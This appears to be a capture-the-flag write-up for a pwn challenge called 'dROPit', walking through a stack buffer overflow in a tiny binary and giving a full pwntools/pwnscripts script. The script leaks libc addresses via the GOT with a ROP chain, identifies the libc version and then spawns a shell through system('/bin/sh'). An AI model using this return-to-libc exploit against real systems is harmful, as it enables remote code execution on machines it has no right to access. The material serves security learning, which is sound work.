Tags: pwntools libc-database 

Rating:

dROPit [300]

You're on your own this time. Can you get a shell?

nc challenges.ctfd.io 30261

-asphyxia

Hint: https://libc.rip

Files: dropit

This challenge was done rapidly with pwnscripts. Try it!

The file

[*] '/dropit'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
int main() {
  char s[0x30]; // [rsp+0h] [rbp-30h]
  setvbuf(_bss_start, 0, 2, 0);
  puts("?");
  fgets(s, 0x64, stdin); //overflow
}

That's it. A BOF of 0x64-0x38 == 44 characters. There's basically nothing else inside the binary itself, so what we have to do is

  1. Leak out the libc base & version. We'll do this by
  • overflowing with a padding of 0x38,
  • using ROP to set RDI to (one of) the functions on the GOT (these addresses are hardcoded at 0x403FB0+ due to No PIE)
  • jumping to puts() on the .plt section to print the value at RDI (which is a libc address)
  • passing this information to the libc-database to identify the libc version & libc base
  • as per usual, this can be prototyped extremely quickly with pwnscripts
  1. get a shell from libc. This is done with the pop RDI gadget from earlier && returning to libc's system() function.
from pwnscripts import *
context.binary = 'dropit'
context.libc_database = 'libc-database'
GOT_FUNCS = list(context.binary.got.keys())[-3:]
r = remote('challenges.ctfd.io', 30261)

def resolve_GOT(f: str) -> bytes:
    '''get the libc address of GOT function f'''
    R = ROP(context.binary)
    R.raw(0x38*b'a')
    R.puts(context.binary.got[f])
    R.main()
    r.sendlineafter('?\n', R.chain())
    return unpack_bytes(r.recvline(),6)

libc_dict = dict((f,resolve_GOT(f)) for f in GOT_FUNCS)
context.libc = context.libc_database.libc_find(libc_dict)

R = ROP(context.libc)
R.raw(0x38*b'a')
R.raw(R.ret.address)
R.system(context.libc.symbols['str_bin_sh'])
r.sendlineafter('?\n', R.chain())
r.interactive()

Note that a ret gadget has to be added before the system() call to prevent a crash on movaps. See the Common Pitfalls section here